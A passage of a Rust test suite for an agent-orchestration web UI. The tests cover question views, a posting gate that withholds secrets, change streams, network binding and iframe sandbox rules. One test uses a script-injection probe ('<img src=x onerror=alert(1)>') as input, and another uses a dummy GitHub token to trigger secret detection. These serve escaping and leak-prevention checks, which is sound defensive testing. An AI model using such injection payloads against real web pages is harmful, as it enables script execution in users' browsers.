16850 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
16851 let store = ask::Questions::at(PathBuf::from("unused"));
16852 let gt = crate::github_text::Withheld {
16853 title: false,
16854 body: true,
16855 categories: vec!["sensitive-data".into()],
16856 };
16857 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
16858 let (detail, comparison) =
16859 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16860 let mut q = Question::new(
16861 "r".into(),
16862 "github-text".into(),
16863 "posting-gate".into(),
16864 "s".into(),
16865 detail,
16866 Vec::new(),
16867 );
16868 assert!(
16869 QuestionView::of(q.clone(), &store, false)
16870 .posting_view
16871 .is_none()
16872 );
16873 q.posting_comparison = Some(comparison);
16874 let view = QuestionView::of(q.clone(), &store, false);
16875 let field = &view.posting_view.unwrap().fields[0];
16876 assert_eq!(
16877 field
16878 .original
16879 .iter()
16880 .map(|f| f.text.as_str())
16881 .collect::<String>(),
16882 body
16883 );
16884 assert!(field.original[0].text.starts_with("<img"));
16885 let original_question: Question =
16886 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
16887 assert_eq!(original_question, q);
16888 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
16889 .original
16890 .start = 1;
16891 assert!(
16892 QuestionView::of(q.clone(), &store, false)
16893 .posting_view
16894 .is_none()
16895 );
16896 q.posting_comparison = original_question.posting_comparison;
16897 q.detail.push_str("extra context");
16898 assert!(
16899 QuestionView::of(q.clone(), &store, false)
16900 .posting_view
16901 .is_some()
16902 );
16903 q.detail.insert(0, 'x');
16904 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
16905 }
16906
16907 #[test]
16908 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
16909 let store = ask::Questions::at(PathBuf::from("unused"));
16910 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
16911 let gt = crate::github_text::Withheld::from_check(
16912 &crate::github_text::check("fix: x", body),
16913 "fix: x",
16914 body,
16915 )
16916 .unwrap();
16917 let (detail, comparison) =
16918 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16919 let mut q = Question::new(
16920 "r".into(),
16921 "github-text".into(),
16922 "posting-gate".into(),
16923 "s".into(),
16924 detail,
16925 Vec::new(),
16926 );
16927 q.posting_comparison = Some(comparison);
16928 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
16929 let field = &value["posting_view"]["fields"][0];
16930 let group = &field["replacement_group"];
16931 let triggers = group["triggers"].as_array().unwrap();
16932 assert_eq!(triggers.len(), 2);
16933 assert_ne!(triggers[0], triggers[1]);
16934 for id in triggers {
16935 assert!(
16936 field["original"]
16937 .as_array()
16938 .unwrap()
16939 .iter()
16940 .any(|f| &f["pair"] == id)
16941 );
16942 assert!(
16943 !field["changed"]
16944 .as_array()
16945 .unwrap()
16946 .iter()
16947 .any(|f| &f["pair"] == id)
16948 );
16949 }
16950 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
16951 group["id"].as_u64().unwrap() as usize;
16952 assert!(
16953 QuestionView::of(q, &store, false).posting_view.is_none(),
16954 "group and trigger IDs cannot collide"
16955 );
16956 }
16957
16958 #[test]
16959 fn a_question_view_carries_markdown_for_each_thread_turn() {
16960 let home = TempDir::new().unwrap();
16961 let store = ask::Questions::at(home.path().join("questions"));
16962 let mut q = Question::new(
16963 "run".to_owned(),
16964 "implement".to_owned(),
16965 "impl-A".to_owned(),
16966 "which?".to_owned(),
16967 String::new(),
16968 Vec::new(),
16969 );
16970 q.say("plain words").unwrap();
16971 q.reply("use **this**", Vec::new()).unwrap();
16972 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16973 let bodies = &v["thread_bodies_md"];
16974 assert_eq!(bodies.as_array().unwrap().len(), 2);
16975 assert!(!bodies[0].to_string().contains("strong"));
16976 assert!(bodies[1].to_string().contains("strong"));
16977 }
16978
16979 #[test]
16980 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
16981 let home = TempDir::new().unwrap();
16982 let store = ask::Questions::at(home.path().join("questions"));
16983 let mut q = Question::new(
16984 "run".to_owned(),
16985 "conduct".to_owned(),
16986 "conduct".to_owned(),
16987 "which?".to_owned(),
16988 String::new(),
16989 Vec::new(),
16990 );
16991 q.say("plain words").unwrap();
16992 q.thread.push(ask::Turn {
16993 who: ask::Who::Agent,
16994 body: "Settled as `merge`".to_owned(),
16995 at: jiff::Timestamp::now(),
16996 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
16997 });
16998 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16999 let notes = &v["thread_notes_md"];
17000 assert_eq!(notes.as_array().unwrap().len(), 2);
17001 assert!(notes[0].is_null());
17002 let text = notes[1].to_string();
17003 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
17004 assert!(APP_JS.contains("ask-turn-note"));
17005 }
17006
17007 #[test]
17008 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
17009 assert!(APP_JS.contains("function landView(run, raw) {"));
17013 assert!(
17014 APP_JS.contains(
17015 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
17016 )
17017 );
17018 assert!(APP_JS.contains("const pr = landView(run, raw);"));
17019 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
17020 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
17021 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
17022 }
17023
17024 #[test]
17025 fn live_runs_are_never_hidden_or_folded_as_superseded() {
17026 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
17027 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
17028 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
17029 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
17030 }
17031
17032 #[test]
17033 fn review_rounds_label_a_distinct_verified_head() {
17034 assert!(APP_JS.contains("round.verified_head"));
17035 assert!(APP_JS.contains("verified HEAD"));
17036 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
17037 }
17038
17039 #[test]
17040 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
17041 assert!(APP_JS.contains("blocked: { glyph:"));
17045 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
17046
17047 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
17051 assert!(
17052 APP_JS.contains(
17053 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
17054 ),
17055 "the note line must name what a blocked task is waiting on, not just that it is blocked"
17056 );
17057 assert!(APP_JS.contains("if (status === \"blocked\") {"));
17061
17062 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
17066 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
17067 assert!(
17068 APP_JS.contains("location.hash = \"#/questions\";"),
17069 "a question node must jump to the Questions screen, not pretend to be a task"
17070 );
17071
17072 assert!(APP_JS.contains("Resolved questions"));
17075 assert!(APP_JS.contains("r.answersList.append("));
17076 assert!(APP_CSS.contains(".task-answers"));
17077 {
17078 let start = APP_JS
17079 .find("function updateTalkTaskRow")
17080 .expect("updateTalkTaskRow");
17081 let body = &APP_JS[start..];
17082 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
17083 assert!(
17084 body.contains(
17085 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
17086 ),
17087 "a chat-filed task row must link to the task page"
17088 );
17089 assert!(
17090 !body.contains("#/runs/") && !body.contains("#/queue/"),
17091 "the row must not branch to a run or the queue card"
17092 );
17093 assert!(APP_CSS.contains(".talk-task-link"));
17094 }
17095 }
17096
17097 #[test]
17098 fn a_task_notification_links_to_the_task_page() {
17099 let start = APP_JS
17101 .find("function noticeLink(")
17102 .expect("noticeLink exists");
17103 let body = &APP_JS[start..];
17104 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
17105 assert!(
17106 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17107 "a task notice's link must target the task page"
17108 );
17109 assert!(
17110 !body.contains("#/queue/"),
17111 "regression: the task link must not go back to the Backlog route"
17112 );
17113 assert!(
17114 APP_JS.contains(
17115 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
17116 ),
17117 "`#/tasks/<id>` must parse into the task route"
17118 );
17119
17120 assert!(
17122 APP_JS.contains(
17123 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
17124 ),
17125 "`#/queue/<id>` must parse into a route carrying that id"
17126 );
17127
17128 assert!(APP_JS.contains("state.queueFocus = route.id;"));
17132 assert!(APP_JS.contains("function consumeQueueFocus()"));
17133 assert!(APP_JS.contains("jumpToTask(id)"));
17134 }
17135
17136 #[test]
17139 fn chat_rows_put_the_title_alone_on_the_first_line() {
17140 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
17141 assert!(APP_CSS.contains(
17142 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
17143 ));
17144 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
17145 assert!(APP_JS.contains("class: \"badge talk-unread\""));
17146 }
17147
17148 #[test]
17149 fn run_rows_put_the_title_alone_on_the_first_line() {
17150 assert!(
17151 APP_CSS.contains(
17152 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
17153 )
17154 );
17155 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
17156 assert!(APP_JS.contains("class: \"card run-card\""));
17157 assert!(APP_JS.contains("class: \"repo run-id\""));
17158 }
17159
17160 #[test]
17164 fn wide_screens_show_list_and_preview_side_by_side() {
17165 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
17167 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
17168 assert!(APP_CSS.contains("main[data-split]"));
17169 assert!(APP_CSS.contains("body[data-split]"));
17170
17171 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
17173 assert!(
17174 APP_JS.contains(
17175 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
17176 )
17177 );
17178 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
17179 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
17180 assert!(INDEX_HTML.contains("id=\"split-empty\""));
17181
17182 assert!(APP_JS.contains("function markSelected() {"));
17184 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
17185 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
17186 assert!(
17188 APP_CSS.contains(
17189 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
17190 )
17191 );
17192
17193 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
17195 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
17196 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
17197 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
17198
17199 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
17203 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
17204 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
17205 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
17206
17207 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
17209 }
17210
17211 #[test]
17212 fn panel_sandbox_carries_exactly_popups() {
17213 let needle = "sandbox: \"";
17214 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
17215 assert_eq!(
17216 matches.len(),
17217 1,
17218 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
17219 );
17220 let start = matches[0].0 + needle.len();
17221 let end = APP_JS[start..]
17222 .find('"')
17223 .expect("sandbox attribute value must be terminated by a closing quote");
17224 let val = &APP_JS[start..start + end];
17225 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
17226 let expected: std::collections::BTreeSet<&str> =
17227 ["allow-popups", "allow-popups-to-escape-sandbox"]
17228 .into_iter()
17229 .collect();
17230 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
17231 assert!(
17232 !tokens.contains("allow-scripts"),
17233 "allow-scripts must never be present in sandbox"
17234 );
17235 assert!(
17236 !tokens.contains("allow-same-origin"),
17237 "allow-same-origin must never be present in sandbox"
17238 );
17239 }
17240
17241 #[test]
17242 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
17243 assert!(
17252 APP_JS.contains(
17253 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
17254 ),
17255 "the search-clearing branch must run before state.queueFocus is cleared, or the \
17256 recursive renderQueue() call has nothing left to jump to"
17257 );
17258 assert!(
17259 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
17260 "state.queueFocus must be cleared only once the jump has landed, so a card that \
17261 arrives later still gets it"
17262 );
17263 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
17264 assert!(APP_JS.contains("is not in the current Backlog."));
17265 assert!(APP_JS.contains("li.card[data-task-id=\""));
17266 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
17267 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
17268 assert!(APP_CSS.contains(".card-permalink"));
17269 assert!(APP_CSS.contains(".queue-focus-status"));
17270 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
17271 }
17272
17273 #[test]
17274 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
17275 assert!(
17283 APP_JS.contains(
17284 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
17285 ),
17286 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
17287 );
17288 }
17289
17290 #[test]
17291 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
17292 assert!(
17293 APP_JS.contains("round.verified_head !== round.head"),
17294 "a round that verified an earlier commit must be visibly distinct from one that \
17295 verified the head reviewers are looking at now"
17296 );
17297 assert!(
17298 APP_JS.contains("round.verified_at"),
17299 "when a check ran must be on the wire, not just which commit"
17300 );
17301 assert!(
17302 APP_JS.contains("resource_blocked"),
17303 "a command magi never got to run (shared build cache contention) must not render \
17304 the same as a command that ran and failed"
17305 );
17306 }
17307
17308 #[test]
17309 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
17310 assert!(
17318 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
17319 "every KPI tile built through statusTile() must route its click through \
17320 openRunsFiltered, the single place that sets the Runs filter"
17321 );
17322 for (label, status) in [
17323 ("Merged", "merged"),
17324 ("Ready", "ready"),
17325 ("Blocked", "blocked"),
17326 ("Stalled", "stalled"),
17327 ] {
17328 let call = format!("statusTile(\"{label}\", t.{status}, ");
17329 assert!(
17330 APP_JS.contains(&call),
17331 "expected the {label} KPI tile built via {call}..."
17332 );
17333 assert!(
17334 APP_JS.contains(&format!("status === \"{status}\"")),
17335 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
17336 compare a run against, not one invented only for the stats tile"
17337 );
17338 }
17339 assert!(
17340 APP_JS.contains("function openRunsFiltered(status)"),
17341 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
17342 );
17343 assert!(
17344 APP_JS.contains(
17345 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
17346 ),
17347 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
17348 );
17349 assert!(
17357 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
17358 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
17359 hashchange event that may never fire"
17360 );
17361 }
17362
17363 #[test]
17364 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
17365 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
17371 assert!(
17372 APP_JS.contains(
17373 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
17374 ),
17375 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
17376 guard for an incompatible tree section"
17377 );
17378 }
17379
17380 #[test]
17381 fn every_stats_queue_tile_names_a_real_queue_section() {
17382 assert!(
17388 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
17389 "every queue tile built through sectionTile() must route its click through \
17390 openQueueSectionFocus"
17391 );
17392 for key in ["upnext", "running", "done", "held", "blocked"] {
17393 assert!(
17394 APP_JS.contains(&format!("{{ key: \"{key}\",")),
17395 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
17396 );
17397 }
17398 for line in [
17402 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
17403 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
17404 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
17405 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
17406 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
17407 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
17408 ] {
17409 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
17410 }
17411 }
17412
17413 #[test]
17414 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
17415 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
17422 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
17423 assert!(APP_JS.contains("function revealQueueSection(details)"));
17424 assert!(
17425 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
17426 "renderQueue() must consume both focus channels on every pass"
17427 );
17428 assert!(
17429 APP_JS.contains(
17430 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
17431 ),
17432 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
17433 the recursive renderQueue() call has nothing left to reveal"
17434 );
17435 assert!(
17436 APP_JS.contains(
17437 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
17438 ),
17439 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
17440 );
17441 assert!(
17449 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
17450 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
17451 hashchange event that may never fire"
17452 );
17453 }
17454
17455 #[tokio::test]
17456 async fn the_change_stream_announces_the_current_revisions_on_connect() {
17457 let f = Fixture::start().await;
17458
17459 let mut socket = tokio::net::TcpStream::connect(f.addr)
17460 .await
17461 .expect("connect");
17462 socket
17463 .write_all(
17464 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
17465 )
17466 .await
17467 .expect("write request");
17468
17469 let mut seen = String::new();
17472 let mut buf = [0u8; 1024];
17473 while !seen.contains("event: change") {
17474 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
17475 .await
17476 .expect("the stream must speak within five seconds")
17477 .expect("read");
17478 assert!(read > 0, "the server closed the change stream: {seen}");
17479 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
17480 }
17481
17482 assert!(
17483 seen.to_lowercase()
17484 .contains("content-type: text/event-stream"),
17485 "the browser only reconnects automatically for a real SSE stream: {seen}"
17486 );
17487 let data = seen
17488 .lines()
17489 .find_map(|l| l.strip_prefix("data:"))
17490 .expect("a data line");
17491 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
17492 assert!(
17493 payload["queue_rev"].is_u64()
17494 && payload["runs_rev"].is_u64()
17495 && payload["questions_rev"].is_u64()
17496 && payload["talks_rev"].is_u64()
17497 && payload["notifications_rev"].is_u64()
17498 && payload["loop_rev"].is_u64(),
17499 "the client needs one revision per store to know what to refetch, \
17500 and `talks_rev` is the only notification a standing talk gets - a \
17501 phone whose radio slept through a turn learns about it here, as \
17502 does one whose operator started the loop from another device: \
17503 {payload}"
17504 );
17505
17506 let health = f.get("/api/health").await.json();
17513 for key in [
17514 "queue_rev",
17515 "runs_rev",
17516 "questions_rev",
17517 "talks_rev",
17518 "notifications_rev",
17519 "loop_rev",
17520 ] {
17521 assert!(
17522 health[key].is_u64(),
17523 "health is the change stream's fallback and is missing `{key}`: {health}"
17524 );
17525 }
17526 }
17527
17528 #[tokio::test]
17529 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
17530 let f = Fixture::start().await;
17531 let before = f.get("/api/health").await.json()["talks_rev"]
17532 .as_u64()
17533 .expect("talks_rev");
17534
17535 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
17536 std::thread::sleep(Duration::from_millis(10));
17537 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
17538 on_disk.turns.push(crate::talk::Turn {
17539 sender: None,
17540 breaks: Some(Vec::new()),
17541 messages: Vec::new(),
17542 posted_by: None,
17543 who: crate::talk::Who::Operator,
17544 body: "a new turn".to_owned(),
17545 at: Timestamp::now(),
17546 attachments: Vec::new(),
17547 usage: None,
17548 });
17549 f.talks().put(&mut on_disk).expect("record a turn");
17550
17551 let after = f.get("/api/health").await.json()["talks_rev"]
17552 .as_u64()
17553 .expect("talks_rev");
17554 assert_ne!(
17555 before, after,
17556 "a phone must be able to notice a talk's reply without polling every store"
17557 );
17558 }
17559
17560 #[test]
17561 fn bind_reads_back_from_the_spelling_the_cli_prints() {
17562 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
17566 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
17567 }
17568 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
17569 assert!("everywhere".parse::<Bind>().is_err());
17570 }
17571
17572 #[test]
17573 fn an_explicit_bind_address_is_taken_verbatim() {
17574 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
17575
17576 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
17577
17578 assert_eq!(addr, asked);
17579 assert!(
17580 warning.is_none(),
17581 "an operator who named an address gets no lecture"
17582 );
17583 }
17584
17585 #[test]
17586 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
17587 let (addr, warning) = resolve_bind(&Bind::Auto);
17588
17589 match addr {
17596 IpAddr::V4(ip) if is_tailnet(&ip) => {
17597 assert!(warning.is_none(), "a tailnet address needs no warning");
17598 }
17599 other => {
17600 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
17601 let warning = warning.expect("a fallback has to explain itself");
17602 assert!(
17603 warning.contains("127.0.0.1") && warning.contains("local-only"),
17604 "the warning says what happened and what it costs: {warning}"
17605 );
17606 }
17607 }
17608 }
17609
17610 #[test]
17611 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
17612 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
17616 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
17617 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
17618 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
17619 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
17620 }
17621
17622 #[test]
17623 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
17624 let ids = vec![
17625 "20260902-140501-aaaa".to_owned(),
17626 "20260902-140502-aabb".to_owned(),
17627 ];
17628
17629 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
17630 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
17631 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
17632
17633 assert_eq!(missing.status, StatusCode::NOT_FOUND);
17634 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
17635 assert_eq!(short, "20260902-140502-aabb");
17636 }
17637 #[tokio::test]
17638 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
17639 let fx = Fixture::start().await;
17645 let id = panel(
17646 &fx,
17647 "<img src=\"shot.png\">",
17648 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
17649 );
17650
17651 let doc = fx
17653 .get(&format!("/api/questions/{id}/panel/index.html"))
17654 .await;
17655 assert_eq!(doc.status, 200, "{}", doc.body);
17656 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
17657
17658 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
17659 assert_eq!(sibling.status, 200, "{}", sibling.body);
17660 assert_eq!(sibling.header("content-type"), Some("image/png"));
17661 assert_eq!(
17662 sibling.header("content-security-policy"),
17663 Some(PANEL_CSP),
17664 "the sibling route must carry the same policy as the asset route"
17665 );
17666
17667 assert_eq!(
17670 fx.head(&format!("/api/questions/{id}/panel")).await.status,
17671 200
17672 );
17673 }
17674
17675 #[test]
17676 fn delta_stamps_cover_add_update_remove_and_noop() {
17677 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
17678 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
17679 let delta = diff_stamps(&before, &after, 42);
17680 assert_eq!(delta.base, 42);
17681 assert_eq!(delta.changed, ["b", "c"]);
17682 assert_eq!(delta.removed, ["a"]);
17683 let same = diff_stamps(&after, &after, 43);
17684 assert!(same.changed.is_empty() && same.removed.is_empty());
17685 assert_ne!(stamps_revision(&before), stamps_revision(&after));
17686 let nanos: Stamps = [("b".into(), (2, 20))].into();
17687 let same_ms: Stamps = [("b".into(), (3, 20))].into();
17688 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
17689 assert_eq!(stamps_revision(&Stamps::new()), 0);
17690 }
17691
17692 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
17693 std::fs::create_dir_all(home.join("runs")).unwrap();
17694 Arc::new(Ui::new(
17695 Queue::at(home.join("queue")),
17696 Questions::at(home.join("questions")),
17697 Talks::at(home.join("talks")),
17698 home.join("runs"),
17699 home.to_owned(),
17700 PathBuf::from("/repo/magi"),
17701 ))
17702 }
17703
17704 #[tokio::test]
17705 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
17706 let home = TempDir::new().unwrap();
17707 let ui = delta_test_ui(home.path());
17708 let mut task = Task::new(
17709 "stream task".into(),
17710 "text".into(),
17711 PathBuf::from("/repo"),
17712 Source::Human,
17713 );
17714 ui.queue.put(&mut task).unwrap();
17715 let response = events(State(ui.clone())).await.into_response();
17716 let mut stream = response.into_body().into_data_stream();
17717 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
17718 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
17719 .await
17720 .unwrap()
17721 .unwrap()
17722 .unwrap();
17723 let text = String::from_utf8(chunk.to_vec()).unwrap();
17724 let data = text
17725 .lines()
17726 .find_map(|line| {
17727 line.strip_prefix("data: ")
17728 .or_else(|| line.strip_prefix("data:"))
17729 })
17730 .unwrap();
17731 serde_json::from_str(data).unwrap()
17732 }
17733 let initial = change(&mut stream).await;
17734 assert!(initial.get("queue_delta").is_none());
17735 task.instruction.push_str(" changed");
17736 ui.queue.put(&mut task).unwrap();
17737 let updated = change(&mut stream).await;
17738 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
17739 assert_eq!(
17740 updated["queue_delta"]["changed"],
17741 serde_json::json!([task.id])
17742 );
17743 assert_eq!(
17744 updated["queue_rev"].as_u64(),
17745 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
17746 );
17747 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
17748 let removed = change(&mut stream).await;
17749 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
17750 assert_eq!(
17751 removed["queue_delta"]["removed"],
17752 serde_json::json!([task.id])
17753 );
17754 }
17755
17756 #[tokio::test]
17757 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
17758 let home = TempDir::new().unwrap();
17759 let ui = delta_test_ui(home.path());
17760 let queue = ui.queue.clone();
17761 let query = |ids: Option<&str>| {
17762 Query(ListQuery {
17763 limit: Some(2),
17764 ids: ids.map(str::to_owned),
17765 })
17766 };
17767 let mut root = Task::new(
17768 "root".into(),
17769 "instruction".into(),
17770 PathBuf::from("/repo"),
17771 Source::Human,
17772 );
17773 queue.put(&mut root).unwrap();
17774 let mut blocked = Task::new(
17775 "blocked".into(),
17776 "instruction".into(),
17777 PathBuf::from("/repo"),
17778 Source::Human,
17779 );
17780 blocked.block(vec![root.id.clone()], None);
17781 queue.put(&mut blocked).unwrap();
17782 let whole =
17783 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
17784 .unwrap();
17785 let subset = serde_json::to_value(
17786 queue_list(State(ui.clone()), query(Some(&root.id)))
17787 .await
17788 .unwrap()
17789 .0,
17790 )
17791 .unwrap();
17792 assert_eq!(whole, subset, "requested root plus its blocked dependent");
17793 let blockers = serde_json::to_value(
17794 queue_list(State(ui.clone()), query(Some("")))
17795 .await
17796 .unwrap()
17797 .0,
17798 )
17799 .unwrap();
17800 assert_eq!(blockers.as_array().unwrap().len(), 1);
17801 assert_eq!(blockers[0]["id"], blocked.id);
17802 assert_eq!(
17803 blockers[0]["waits_on"],
17804 whole
17805 .as_array()
